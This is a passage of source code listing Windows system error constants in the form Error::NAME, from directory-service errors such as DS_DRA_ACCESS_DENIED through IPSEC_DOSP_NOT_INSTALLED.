Error::DS_COULDNT_LOCK_TREE_FOR_DELETE, Error::DS_COULDNT_UPDATE_SPNS, Error::DS_COUNTING_AB_INDICES_FAILED, Error::DS_CROSS_DOMAIN_CLEANUP_REQD, Error::DS_CROSS_DOM_MOVE_ERROR, Error::DS_CROSS_NC_DN_RENAME, Error::DS_CROSS_REF_BUSY, Error::DS_CROSS_REF_EXISTS, Error::DS_CR_IMPOSSIBLE_TO_VALIDATE, Error::DS_CR_IMPOSSIBLE_TO_VALIDATE_V2, Error::DS_DATABASE_ERROR, Error::DS_DECODING_ERROR, Error::DS_DESTINATION_AUDITING_NOT_ENABLED, Error::DS_DESTINATION_DOMAIN_NOT_IN_FOREST, Error::DS_DIFFERENT_REPL_EPOCHS, Error::DS_DISALLOWED_IN_SYSTEM_CONTAINER, Error::DS_DOMAIN_NAME_EXISTS_IN_FOREST, Error::DS_DOMAIN_RENAME_IN_PROGRESS, Error::DS_DOMAIN_VERSION_TOO_HIGH, Error::DS_DOMAIN_VERSION_TOO_LOW, Error::DS_DRA_ABANDON_SYNC, Error::DS_DRA_ACCESS_DENIED, Error::DS_DRA_BAD_DN, Error::DS_DRA_BAD_INSTANCE_TYPE, Error::DS_DRA_BAD_NC, Error::DS_DRA_BUSY, Error::DS_DRA_CONNECTION_FAILED, Error::DS_DRA_CORRUPT_UTD_VECTOR, Error::DS_DRA_DB_ERROR, Error::DS_DRA_DN_EXISTS, Error::DS_DRA_EARLIER_SCHEMA_CONLICT, Error::DS_DRA_EXTN_CONNECTION_FAILED, Error::DS_DRA_GENERIC, Error::DS_DRA_INCOMPATIBLE_PARTIAL_SET, Error::DS_DRA_INCONSISTENT_DIT, Error::DS_DRA_INTERNAL_ERROR, Error::DS_DRA_INVALID_PARAMETER, Error::DS_DRA_MAIL_PROBLEM, Error::DS_DRA_MISSING_KRBTGT_SECRET, Error::DS_DRA_MISSING_PARENT, Error::DS_DRA_NAME_COLLISION, Error::DS_DRA_NOT_SUPPORTED, Error::DS_DRA_NO_REPLICA, Error::DS_DRA_OBJ_IS_REP_SOURCE, Error::DS_DRA_OBJ_NC_MISMATCH, Error::DS_DRA_OUT_OF_MEM, Error::DS_DRA_OUT_SCHEDULE_WINDOW, Error::DS_DRA_PREEMPTED, Error::DS_DRA_RECYCLED_TARGET, Error::DS_DRA_REF_ALREADY_EXISTS, Error::DS_DRA_REF_NOT_FOUND, Error::DS_DRA_REPL_PENDING, Error::DS_DRA_RPC_CANCELLED, Error::DS_DRA_SCHEMA_CONFLICT, Error::DS_DRA_SCHEMA_INFO_SHIP, Error::DS_DRA_SCHEMA_MISMATCH, Error::DS_DRA_SECRETS_DENIED, Error::DS_DRA_SHUTDOWN, Error::DS_DRA_SINK_DISABLED, Error::DS_DRA_SOURCE_DISABLED, Error::DS_DRA_SOURCE_IS_PARTIAL_REPLICA, Error::DS_DRA_SOURCE_REINSTALLED, Error::DS_DRS_EXTENSIONS_CHANGED, Error::DS_DSA_MUST_BE_INT_MASTER, Error::DS_DST_DOMAIN_NOT_NATIVE, Error::DS_DST_NC_MISMATCH, Error::DS_DS_REQUIRED, Error::DS_DUPLICATE_ID_FOUND, Error::DS_DUP_LDAP_DISPLAY_NAME, Error::DS_DUP_LINK_ID, Error::DS_DUP_MAPI_ID, Error::DS_DUP_MSDS_INTID, Error::DS_DUP_OID, Error::DS_DUP_RDN, Error::DS_DUP_SCHEMA_ID_GUID, Error::DS_ENCODING_ERROR, Error::DS_EPOCH_MISMATCH, Error::DS_EXISTING_AD_CHILD_NC, Error::DS_EXISTS_IN_AUX_CLS, Error::DS_EXISTS_IN_MAY_HAVE, Error::DS_EXISTS_IN_MUST_HAVE, Error::DS_EXISTS_IN_POSS_SUP, Error::DS_EXISTS_IN_RDNATTID, Error::DS_EXISTS_IN_SUB_CLS, Error::DS_FILTER_UNKNOWN, Error::DS_FILTER_USES_CONTRUCTED_ATTRS, Error::DS_FLAT_NAME_EXISTS_IN_FOREST, Error::DS_FOREST_VERSION_TOO_HIGH, Error::DS_FOREST_VERSION_TOO_LOW, Error::DS_GCVERIFY_ERROR, Error::DS_GC_NOT_AVAILABLE, Error::DS_GC_REQUIRED, Error::DS_GENERIC_ERROR, Error::DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER, Error::DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER, Error::DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER, Error::DS_GOVERNSID_MISSING, Error::DS_GROUP_CONVERSION_ERROR, Error::DS_HAVE_PRIMARY_MEMBERS, Error::DS_HIERARCHY_TABLE_MALLOC_FAILED, Error::DS_HIERARCHY_TABLE_TOO_DEEP, Error::DS_ILLEGAL_BASE_SCHEMA_MOD, Error::DS_ILLEGAL_MOD_OPERATION, Error::DS_ILLEGAL_SUPERIOR, Error::DS_ILLEGAL_XDOM_MOVE_OPERATION, Error::DS_INAPPROPRIATE_AUTH, Error::DS_INAPPROPRIATE_MATCHING, Error::DS_INCOMPATIBLE_CONTROLS_USED, Error::DS_INCOMPATIBLE_VERSION, Error::DS_INCORRECT_ROLE_OWNER, Error::DS_INIT_FAILURE, Error::DS_INIT_FAILURE_CONSOLE, Error::DS_INSTALL_NO_SCH_VERSION_IN_INIFILE, Error::DS_INSTALL_NO_SRC_SCH_VERSION, Error::DS_INSTALL_SCHEMA_MISMATCH, Error::DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT, Error::DS_INSUFF_ACCESS_RIGHTS, Error::DS_INTERNAL_FAILURE, Error::DS_INVALID_ATTRIBUTE_SYNTAX, Error::DS_INVALID_DMD, Error::DS_INVALID_DN_SYNTAX, Error::DS_INVALID_GROUP_TYPE, Error::DS_INVALID_LDAP_DISPLAY_NAME, Error::DS_INVALID_NAME_FOR_SPN, Error::DS_INVALID_ROLE_OWNER, Error::DS_INVALID_SCRIPT, Error::DS_INVALID_SEARCH_FLAG, Error::DS_INVALID_SEARCH_FLAG_SUBTREE, Error::DS_INVALID_SEARCH_FLAG_TUPLE, Error::DS_IS_LEAF, Error::DS_KEY_NOT_UNIQUE, Error::DS_LDAP_SEND_QUEUE_FULL, Error::DS_LINK_ID_NOT_AVAILABLE, Error::DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER, Error::DS_LOCAL_ERROR, Error::DS_LOCAL_MEMBER_OF_LOCAL_ONLY, Error::DS_LOOKUP_FAILURE, Error::DS_LOOP_DETECT, Error::DS_LOW_DSA_VERSION, Error::DS_MACHINE_ACCOUNT_CREATED_PRENT4, Error::DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED, Error::DS_MAPI_ID_NOT_AVAILABLE, Error::DS_MASTERDSA_REQUIRED, Error::DS_MAX_OBJ_SIZE_EXCEEDED, Error::DS_MEMBERSHIP_EVALUATED_LOCALLY, Error::DS_MISSING_EXPECTED_ATT, Error::DS_MISSING_FSMO_SETTINGS, Error::DS_MISSING_INFRASTRUCTURE_CONTAINER, Error::DS_MISSING_REQUIRED_ATT, Error::DS_MISSING_SUPREF, Error::DS_MODIFYDN_DISALLOWED_BY_FLAG, Error::DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE, Error::DS_MODIFYDN_WRONG_GRANDPARENT, Error::DS_MUST_BE_RUN_ON_DST_DC, Error::DS_NAME_DOMAIN_ONLY, Error::DS_NAME_ERROR_NOT_UNIQUE, Error::DS_NAME_NOT_FOUND, Error::DS_NAME_NOT_UNIQUE, Error::DS_NAME_NO_MAPPING, Error::DS_NAME_NO_SYNTACTICAL_MAPPING, Error::DS_NAME_REFERENCE_INVALID, Error::DS_NAME_RESOLVING, Error::DS_NAME_TOO_LONG, Error::DS_NAME_TOO_MANY_PARTS, Error::DS_NAME_TRUST_REFERRAL, Error::DS_NAME_TYPE_UNKNOWN, Error::DS_NAME_UNPARSEABLE, Error::DS_NAME_VALUE_TOO_LONG, Error::DS_NAMING_MASTER_GC, Error::DS_NAMING_VIOLATION, Error::DS_NCNAME_MISSING_CR_REF, Error::DS_NCNAME_MUST_BE_NC, Error::DS_NC_MUST_HAVE_NC_PARENT, Error::DS_NC_STILL_HAS_DSAS, Error::DS_NONEXISTENT_MAY_HAVE, Error::DS_NONEXISTENT_MUST_HAVE, Error::DS_NONEXISTENT_POSS_SUP, Error::DS_NONSAFE_SCHEMA_CHANGE, Error::DS_NON_ASQ_SEARCH, Error::DS_NON_BASE_SEARCH, Error::DS_NOTIFY_FILTER_TOO_COMPLEX, Error::DS_NOT_AN_OBJECT, Error::DS_NOT_AUTHORITIVE_FOR_DST_NC, Error::DS_NOT_CLOSEST, Error::DS_NOT_INSTALLED, Error::DS_NOT_ON_BACKLINK, Error::DS_NOT_SUPPORTED, Error::DS_NOT_SUPPORTED_SORT_ORDER, Error::DS_NO_ATTRIBUTE_OR_VALUE, Error::DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN, Error::DS_NO_CHAINED_EVAL, Error::DS_NO_CHAINING, Error::DS_NO_CHECKPOINT_WITH_PDC, Error::DS_NO_CROSSREF_FOR_NC, Error::DS_NO_DELETED_NAME, Error::DS_NO_FPO_IN_UNIVERSAL_GROUPS, Error::DS_NO_MORE_RIDS, Error::DS_NO_MSDS_INTID, Error::DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN, Error::DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN, Error::DS_NO_NTDSA_OBJECT, Error::DS_NO_OBJECT_MOVE_IN_SCHEMA_NC, Error::DS_NO_PARENT_OBJECT, Error::DS_NO_PKT_PRIVACY_ON_CONNECTION, Error::DS_NO_RDN_DEFINED_IN_SCHEMA, Error::DS_NO_REF_DOMAIN, Error::DS_NO_REQUESTED_ATTS_FOUND, Error::DS_NO_RESULTS_RETURNED, Error::DS_NO_RIDS_ALLOCATED, Error::DS_NO_SERVER_OBJECT, Error::DS_NO_SUCH_OBJECT, Error::DS_NO_TREE_DELETE_ABOVE_NC, Error::DS_NTDSCRIPT_PROCESS_ERROR, Error::DS_NTDSCRIPT_SYNTAX_ERROR, Error::DS_OBJECT_CLASS_REQUIRED, Error::DS_OBJECT_RESULTS_TOO_LARGE, Error::DS_OBJ_CLASS_NOT_DEFINED, Error::DS_OBJ_CLASS_NOT_SUBCLASS, Error::DS_OBJ_CLASS_VIOLATION, Error::DS_OBJ_GUID_EXISTS, Error::DS_OBJ_NOT_FOUND, Error::DS_OBJ_STRING_NAME_EXISTS, Error::DS_OBJ_TOO_LARGE, Error::DS_OFFSET_RANGE_ERROR, Error::DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS, Error::DS_OID_NOT_FOUND, Error::DS_OPERATIONS_ERROR, Error::DS_OUT_OF_SCOPE, Error::DS_OUT_OF_VERSION_STORE, Error::DS_PARAM_ERROR, Error::DS_PARENT_IS_AN_ALIAS, Error::DS_PDC_OPERATION_IN_PROGRESS, Error::DS_POLICY_NOT_KNOWN, Error::DS_PROTOCOL_ERROR, Error::DS_RANGE_CONSTRAINT, Error::DS_RDN_DOESNT_MATCH_SCHEMA, Error::DS_RECALCSCHEMA_FAILED, Error::DS_REFERRAL, Error::DS_REFERRAL_LIMIT_EXCEEDED, Error::DS_REFUSING_FSMO_ROLES, Error::DS_REMOTE_CROSSREF_OP_FAILED, Error::DS_REPLICATOR_ONLY, Error::DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR, Error::DS_REPL_LIFETIME_EXCEEDED, Error::DS_RESERVED_LINK_ID, Error::DS_RESERVED_MAPI_ID, Error::DS_RIDMGR_INIT_ERROR, Error::DS_ROLE_NOT_VERIFIED, Error::DS_ROOT_CANT_BE_SUBREF, Error::DS_ROOT_MUST_BE_NC, Error::DS_ROOT_REQUIRES_CLASS_TOP, Error::DS_SAM_INIT_FAILURE, Error::DS_SAM_INIT_FAILURE_CONSOLE, Error::DS_SAM_NEED_BOOTKEY_FLOPPY, Error::DS_SAM_NEED_BOOTKEY_PASSWORD, Error::DS_SCHEMA_ALLOC_FAILED, Error::DS_SCHEMA_NOT_LOADED, Error::DS_SCHEMA_UPDATE_DISALLOWED, Error::DS_SECURITY_CHECKING_ERROR, Error::DS_SECURITY_ILLEGAL_MODIFY, Error::DS_SEC_DESC_INVALID, Error::DS_SEC_DESC_TOO_SHORT, Error::DS_SEMANTIC_ATT_TEST, Error::DS_SENSITIVE_GROUP_VIOLATION, Error::DS_SERVER_DOWN, Error::DS_SHUTTING_DOWN, Error::DS_SINGLE_USER_MODE_FAILED, Error::DS_SINGLE_VALUE_CONSTRAINT, Error::DS_SIZELIMIT_EXCEEDED, Error::DS_SORT_CONTROL_MISSING, Error::DS_SOURCE_AUDITING_NOT_ENABLED, Error::DS_SOURCE_DOMAIN_IN_FOREST, Error::DS_SRC_AND_DST_NC_IDENTICAL, Error::DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH, Error::DS_SRC_DC_MUST_BE_SP4_OR_GREATER, Error::DS_SRC_GUID_MISMATCH, Error::DS_SRC_NAME_MISMATCH, Error::DS_SRC_OBJ_NOT_GROUP_OR_USER, Error::DS_SRC_SID_EXISTS_IN_FOREST, Error::DS_STRING_SD_CONVERSION_FAILED, Error::DS_STRONG_AUTH_REQUIRED, Error::DS_SUBREF_MUST_HAVE_PARENT, Error::DS_SUBTREE_NOTIFY_NOT_NC_HEAD, Error::DS_SUB_CLS_TEST_FAIL, Error::DS_SYNTAX_MISMATCH, Error::DS_THREAD_LIMIT_EXCEEDED, Error::DS_TIMELIMIT_EXCEEDED, Error::DS_TREE_DELETE_NOT_FINISHED, Error::DS_UNABLE_TO_SURRENDER_ROLES, Error::DS_UNAVAILABLE, Error::DS_UNAVAILABLE_CRIT_EXTENSION, Error::DS_UNICODEPWD_NOT_IN_QUOTES, Error::DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER, Error::DS_UNKNOWN_ERROR, Error::DS_UNKNOWN_OPERATION, Error::DS_UNWILLING_TO_PERFORM, Error::DS_USER_BUFFER_TO_SMALL, Error::DS_VERSION_CHECK_FAILURE, Error::DS_WKO_CONTAINER_CANNOT_BE_SPECIAL, Error::DS_WRONG_LINKED_ATT_SYNTAX, Error::DS_WRONG_OM_OBJ_CLASS, Error::DUPLICATE_SERVICE_NAME, Error::DUPLICATE_TAG, Error::DUP_DOMAINNAME, Error::DUP_NAME, Error::DYNLINK_FROM_INVALID_RING, Error::EAS_DIDNT_FIT, Error::EAS_NOT_SUPPORTED, Error::EA_ACCESS_DENIED, Error::EA_FILE_CORRUPT, Error::EA_LIST_INCONSISTENT, Error::EA_TABLE_FULL, Error::EC_CIRCULAR_FORWARDING, Error::EC_CREDSTORE_FULL, Error::EC_CRED_NOT_FOUND, Error::EC_LOG_DISABLED, Error::EC_NO_ACTIVE_CHANNEL, Error::EC_SUBSCRIPTION_CANNOT_ACTIVATE, Error::EFS_ALG_BLOB_TOO_BIG, Error::EFS_DISABLED, Error::EFS_NOT_ALLOWED_IN_TRANSACTION, Error::EFS_SERVER_NOT_TRUSTED, Error::EFS_VERSION_NOT_SUPPORT, Error::ELEVATION_REQUIRED, Error::EMPTY, Error::ENCRYPTION_FAILED, Error::END_OF_MEDIA, Error::ENLISTMENT_NOT_FOUND, Error::ENLISTMENT_NOT_SUPERIOR, Error::ENVVAR_NOT_FOUND, Error::EOM_OVERFLOW, Error::EPT_S_CANT_CREATE, Error::EPT_S_CANT_PERFORM_OP, Error::EPT_S_INVALID_ENTRY, Error::EPT_S_NOT_REGISTERED, Error::ERRORS_ENCOUNTERED, Error::EVALUATION_EXPIRATION, Error::EVENTLOG_CANT_START, Error::EVENTLOG_FILE_CHANGED, Error::EVENTLOG_FILE_CORRUPT, Error::EVENT_DONE, Error::EVENT_PENDING, Error::EVT_CANNOT_OPEN_CHANNEL_OF_QUERY, Error::EVT_CHANNEL_CANNOT_ACTIVATE, Error::EVT_CHANNEL_NOT_FOUND, Error::EVT_CONFIGURATION_ERROR, Error::EVT_EVENT_DEFINITION_NOT_FOUND, Error::EVT_EVENT_TEMPLATE_NOT_FOUND, Error::EVT_FILTER_ALREADYSCOPED, Error::EVT_FILTER_INVARG, Error::EVT_FILTER_INVTEST, Error::EVT_FILTER_INVTYPE, Error::EVT_FILTER_NOTELTSET, Error::EVT_FILTER_OUT_OF_RANGE, Error::EVT_FILTER_PARSEERR, Error::EVT_FILTER_TOO_COMPLEX, Error::EVT_FILTER_UNEXPECTEDTOKEN, Error::EVT_FILTER_UNSUPPORTEDOP, Error::EVT_INVALID_CHANNEL_PATH, Error::EVT_INVALID_CHANNEL_PROPERTY_VALUE, Error::EVT_INVALID_EVENT_DATA, Error::EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL, Error::EVT_INVALID_PUBLISHER_NAME, Error::EVT_INVALID_PUBLISHER_PROPERTY_VALUE, Error::EVT_INVALID_QUERY, Error::EVT_MALFORMED_XML_TEXT, Error::EVT_MAX_INSERTS_REACHED, Error::EVT_MESSAGE_ID_NOT_FOUND, Error::EVT_MESSAGE_LOCALE_NOT_FOUND, Error::EVT_MESSAGE_NOT_FOUND, Error::EVT_NON_VALIDATING_MSXML, Error::EVT_PUBLISHER_DISABLED, Error::EVT_PUBLISHER_METADATA_NOT_FOUND, Error::EVT_QUERY_RESULT_INVALID_POSITION, Error::EVT_QUERY_RESULT_STALE, Error::EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL, Error::EVT_UNRESOLVED_PARAMETER_INSERT, Error::EVT_UNRESOLVED_VALUE_INSERT, Error::EVT_VERSION_TOO_NEW, Error::EVT_VERSION_TOO_OLD, Error::EXCEPTION_IN_RESOURCE_CALL, Error::EXCEPTION_IN_SERVICE, Error::EXCL_SEM_ALREADY_OWNED, Error::EXE_CANNOT_MODIFY_SIGNED_BINARY, Error::EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY, Error::EXE_MACHINE_TYPE_MISMATCH, Error::EXE_MARKED_INVALID, Error::EXPIRED_HANDLE, Error::EXTENDED_ERROR, Error::EXTRANEOUS_INFORMATION, Error::FAILED_DRIVER_ENTRY, Error::FAILED_SERVICE_CONTROLLER_CONNECT, Error::FAIL_FAST_EXCEPTION, Error::FAIL_I24, Error::FAIL_NOACTION_REBOOT, Error::FAIL_REBOOT_INITIATED, Error::FAIL_REBOOT_REQUIRED, Error::FAIL_RESTART, Error::FAIL_SHUTDOWN, Error::FATAL_APP_EXIT, Error::FILEMARK_DETECTED, Error::FILENAME_EXCED_RANGE, Error::FILE_CHECKED_OUT, Error::FILE_CORRUPT, Error::FILE_ENCRYPTED, Error::FILE_EXISTS, Error::FILE_IDENTITY_NOT_PERSISTENT, Error::FILE_INVALID, Error::FILE_NOT_ENCRYPTED, Error::FILE_NOT_FOUND, Error::FILE_OFFLINE, Error::FILE_READ_ONLY, Error::FILE_SHARE_RESOURCE_CONFLICT, Error::FILE_SYSTEM_LIMITATION, Error::FILE_TOO_LARGE, Error::FIRMWARE_UPDATED, Error::FLOATED_SECTION, Error::FLOAT_MULTIPLE_FAULTS, Error::FLOAT_MULTIPLE_TRAPS, Error::FLOPPY_BAD_REGISTERS, Error::FLOPPY_ID_MARK_NOT_FOUND, Error::FLOPPY_UNKNOWN_ERROR, Error::FLOPPY_VOLUME, Error::FLOPPY_WRONG_CYLINDER, Error::FORMS_AUTH_REQUIRED, Error::FOUND_OUT_OF_SCOPE, Error::FRS_ERR_AUTHENTICATION, Error::FRS_ERR_CHILD_TO_PARENT_COMM, Error::FRS_ERR_INSUFFICIENT_PRIV, Error::FRS_ERR_INTERNAL, Error::FRS_ERR_INTERNAL_API, Error::FRS_ERR_INVALID_API_SEQUENCE, Error::FRS_ERR_INVALID_SERVICE_PARAMETER, Error::FRS_ERR_PARENT_AUTHENTICATION, Error::FRS_ERR_PARENT_INSUFFICIENT_PRIV, Error::FRS_ERR_PARENT_TO_CHILD_COMM, Error::FRS_ERR_SERVICE_COMM, Error::FRS_ERR_STARTING_SERVICE, Error::FRS_ERR_STOPPING_SERVICE, Error::FRS_ERR_SYSVOL_DEMOTE, Error::FRS_ERR_SYSVOL_IS_BUSY, Error::FRS_ERR_SYSVOL_POPULATE, Error::FRS_ERR_SYSVOL_POPULATE_TIMEOUT, Error::FSFILTER_OP_COMPLETED_SUCCESSFULLY, Error::FS_DRIVER_REQUIRED, Error::FT_READ_RECOVERY_FROM_BACKUP, Error::FT_WRITE_RECOVERY, Error::FULLSCREEN_MODE, Error::FULL_BACKUP, Error::FUNCTION_FAILED, Error::FUNCTION_NOT_CALLED, Error::GENERIC_COMMAND_FAILED, Error::GENERIC_NOT_MAPPED, Error::GEN_FAILURE, Error::GLOBAL_ONLY_HOOK, Error::GRACEFUL_DISCONNECT, Error::GROUP_EXISTS, Error::GROUP_NOT_AVAILABLE, Error::GROUP_NOT_FOUND, Error::GROUP_NOT_ONLINE, Error::GUID_SUBSTITUTION_MADE, Error::HANDLES_CLOSED, Error::HANDLE_DISK_FULL, Error::HANDLE_EOF, Error::HANDLE_NO_LONGER_VALID, Error::HASH_NOT_PRESENT, Error::HASH_NOT_SUPPORTED, Error::HEURISTIC_DAMAGE_POSSIBLE, Error::HIBERNATED, Error::HIBERNATION_FAILURE, Error::HOOK_NEEDS_HMOD, Error::HOOK_NOT_INSTALLED, Error::HOOK_TYPE_NOT_ALLOWED, Error::HOST_DOWN, Error::HOST_NODE_NOT_AVAILABLE, Error::HOST_NODE_NOT_GROUP_OWNER, Error::HOST_NODE_NOT_RESOURCE_OWNER, Error::HOST_UNREACHABLE, Error::HOTKEY_ALREADY_REGISTERED, Error::HOTKEY_NOT_REGISTERED, Error::HWNDS_HAVE_DIFF_PARENT, Error::ICM_NOT_ENABLED, Error::IEPORT_FULL, Error::ILLEGAL_CHARACTER, Error::ILLEGAL_DLL_RELOCATION, Error::ILLEGAL_ELEMENT_ADDRESS, Error::ILLEGAL_FLOAT_CONTEXT, Error::ILL_FORMED_PASSWORD, Error::IMAGE_MACHINE_TYPE_MISMATCH, Error::IMAGE_MACHINE_TYPE_MISMATCH_EXE, Error::IMAGE_NOT_AT_BASE, Error::IMAGE_SUBSYSTEM_NOT_PRESENT, Error::IMPLEMENTATION_LIMIT, Error::IMPLICIT_TRANSACTION_NOT_SUPPORTED, Error::INCOMPATIBLE_SERVICE_PRIVILEGE, Error::INCOMPATIBLE_SERVICE_SID_TYPE, Error::INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING, Error::INCORRECT_ADDRESS, Error::INCORRECT_SIZE, Error::INC_BACKUP, Error::INDEX_ABSENT, Error::INDIGENOUS_TYPE, Error::INDOUBT_TRANSACTIONS_EXIST, Error::INFLOOP_IN_RELOC_CHAIN, Error::INSTALL_ALREADY_RUNNING, Error::INSTALL_FAILURE, Error::INSTALL_LANGUAGE_UNSUPPORTED, Error::INSTALL_LOG_FAILURE, Error::INSTALL_NOTUSED, Error::INSTALL_PACKAGE_INVALID, Error::INSTALL_PACKAGE_OPEN_FAILED, Error::INSTALL_PACKAGE_REJECTED, Error::INSTALL_PACKAGE_VERSION, Error::INSTALL_PLATFORM_UNSUPPORTED, Error::INSTALL_REMOTE_DISALLOWED, Error::INSTALL_REMOTE_PROHIBITED, Error::INSTALL_SERVICE_FAILURE, Error::INSTALL_SERVICE_SAFEBOOT, Error::INSTALL_SOURCE_ABSENT, Error::INSTALL_SUSPEND, Error::INSTALL_TEMP_UNWRITABLE, Error::INSTALL_TRANSFORM_FAILURE, Error::INSTALL_TRANSFORM_REJECTED, Error::INSTALL_UI_FAILURE, Error::INSTALL_USEREXIT, Error::INSTRUCTION_MISALIGNMENT, Error::INSUFFICIENT_BUFFER, Error::INSUFFICIENT_LOGON_INFO, Error::INSUFFICIENT_POWER, Error::INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE, Error::INTERNAL_DB_CORRUPTION, Error::INTERNAL_DB_ERROR, Error::INTERNAL_ERROR, Error::INTERRUPT_STILL_CONNECTED, Error::INTERRUPT_VECTOR_ALREADY_CONNECTED, Error::INVALID_ACCEL_HANDLE, Error::INVALID_ACCESS, Error::INVALID_ACCOUNT_NAME, Error::INVALID_ACE_CONDITION, Error::INVALID_ACL, Error::INVALID_ADDRESS, Error::INVALID_AT_INTERRUPT_TIME, Error::INVALID_BLOCK, Error::INVALID_BLOCK_LENGTH, Error::INVALID_CATEGORY, Error::INVALID_CLEANER, Error::INVALID_CLUSTER_IPV6_ADDRESS, Error::INVALID_CMM, Error::INVALID_COLORINDEX, Error::INVALID_COLORSPACE, Error::INVALID_COMBOBOX_MESSAGE, Error::INVALID_COMMAND_LINE, Error::INVALID_COMPUTERNAME, Error::INVALID_CRUNTIME_PARAMETER, Error::INVALID_CURSOR_HANDLE, Error::INVALID_DATA, Error::INVALID_DATATYPE, Error::INVALID_DEVICE_OBJECT_PARAMETER, Error::INVALID_DLL, Error::INVALID_DOMAINNAME, Error::INVALID_DOMAIN_ROLE, Error::INVALID_DOMAIN_STATE, Error::INVALID_DRIVE, Error::INVALID_DRIVE_OBJECT, Error::INVALID_DWP_HANDLE, Error::INVALID_EA_HANDLE, Error::INVALID_EA_NAME, Error::INVALID_EDIT_HEIGHT, Error::INVALID_ENVIRONMENT, Error::INVALID_EVENTNAME, Error::INVALID_EVENT_COUNT, Error::INVALID_EXE_SIGNATURE, Error::INVALID_FIELD, Error::INVALID_FILTER_PROC, Error::INVALID_FLAGS, Error::INVALID_FLAG_NUMBER, Error::INVALID_FORM_NAME, Error::INVALID_FORM_SIZE, Error::INVALID_FUNCTION, Error::INVALID_GROUPNAME, Error::INVALID_GROUP_ATTRIBUTES, Error::INVALID_GW_COMMAND, Error::INVALID_HANDLE, Error::INVALID_HANDLE_STATE, Error::INVALID_HANDLE_VALUE, Error::INVALID_HOOK_FILTER, Error::INVALID_HOOK_HANDLE, Error::INVALID_HW_PROFILE, Error::INVALID_ICON_HANDLE, Error::INVALID_ID_AUTHORITY, Error::INVALID_IMAGE_HASH, Error::INVALID_IMPORT_OF_NON_DLL, Error::INVALID_INDEX, Error::INVALID_KEYBOARD_HANDLE, Error::INVALID_LABEL, Error::INVALID_LB_MESSAGE, Error::INVALID_LDT_DESCRIPTOR, Error::INVALID_LDT_OFFSET, Error::INVALID_LDT_SIZE, Error::INVALID_LEVEL, Error::INVALID_LIBRARY, Error::INVALID_LIST_FORMAT, Error::INVALID_LOCK_RANGE, Error::INVALID_LOGON_HOURS, Error::INVALID_LOGON_TYPE, Error::INVALID_MEDIA, Error::INVALID_MEDIA_POOL, Error::INVALID_MEMBER, Error::INVALID_MENU_HANDLE, Error::INVALID_MESSAGE, Error::INVALID_MESSAGEDEST, Error::INVALID_MESSAGENAME, Error::INVALID_MINALLOCSIZE, Error::INVALID_MODULETYPE, Error::INVALID_MONITOR_HANDLE, Error::INVALID_MSGBOX_STYLE, Error::INVALID_NAME, Error::INVALID_NETNAME, Error::INVALID_OPERATION, Error::INVALID_OPERATION_ON_QUORUM, Error::INVALID_OPLOCK_PROTOCOL, Error::INVALID_ORDINAL, Error::INVALID_OWNER, Error::INVALID_PARAMETER, Error::INVALID_PASSWORD, Error::INVALID_PASSWORDNAME, Error::INVALID_PATCH_XML, Error::INVALID_PIXEL_FORMAT, Error::INVALID_PLUGPLAY_DEVICE_PATH, Error::INVALID_PORT_ATTRIBUTES, Error::INVALID_PRIMARY_GROUP, Error::INVALID_PRINTER_COMMAND, Error::INVALID_PRINTER_NAME, Error::INVALID_PRINTER_STATE, Error::INVALID_PRINT_MONITOR, Error::INVALID_PRIORITY, Error::INVALID_PROFILE, Error::INVALID_QUOTA_LOWER, Error::INVALID_REPARSE_DATA, Error::INVALID_SCROLLBAR_RANGE, Error::INVALID_SECURITY_DESCR, Error::INVALID_SEGDPL, Error::INVALID_SEGMENT_NUMBER, Error::INVALID_SEPARATOR_FILE, Error::INVALID_SERVER_STATE, Error::INVALID_SERVICENAME, Error::INVALID_SERVICE_ACCOUNT, Error::INVALID_SERVICE_CONTROL, Error::INVALID_SERVICE_LOCK, Error::INVALID_SHARENAME, Error::INVALID_SHOWWIN_COMMAND, Error::INVALID_SID, Error::INVALID_SIGNAL_NUMBER, Error::INVALID_SPI_VALUE, Error::INVALID_STACKSEG, Error::INVALID_STARTING_CODESEG, Error::INVALID_STATE, Error::INVALID_SUB_AUTHORITY, Error::INVALID_TABLE, Error::INVALID_TARGET_HANDLE, Error::INVALID_TASK_INDEX, Error::INVALID_TASK_NAME, Error::INVALID_THREAD_ID, Error::INVALID_TIME, Error::INVALID_TRANSACTION, Error::INVALID_TRANSFORM, Error::INVALID_UNWIND_TARGET, Error::INVALID_USER_BUFFER, Error::INVALID_USER_PRINCIPAL_NAME, Error::INVALID_VARIANT, Error::INVALID_VERIFY_SWITCH, Error::INVALID_WINDOW_HANDLE, Error::INVALID_WINDOW_STYLE, Error::INVALID_WORKSTATION, Error::IOPL_NOT_ENABLED, Error::IO_DEVICE, Error::IO_INCOMPLETE, Error::IO_PENDING, Error::IO_PRIVILEGE_FAILED, Error::IO_REISSUE_AS_CACHED, Error::IPSEC_AUTH_FIREWALL_DROP, Error::IPSEC_BAD_SPI, Error::IPSEC_CLEAR_TEXT_DROP, Error::IPSEC_DEFAULT_MM_AUTH_NOT_FOUND, Error::IPSEC_DEFAULT_MM_POLICY_NOT_FOUND, Error::IPSEC_DEFAULT_QM_POLICY_NOT_FOUND, Error::IPSEC_DOSP_BLOCK, Error::IPSEC_DOSP_INVALID_PACKET, Error::IPSEC_DOSP_KEYMOD_NOT_ALLOWED, Error::IPSEC_DOSP_MAX_ENTRIES, Error::IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES, Error::IPSEC_DOSP_NOT_INSTALLED, 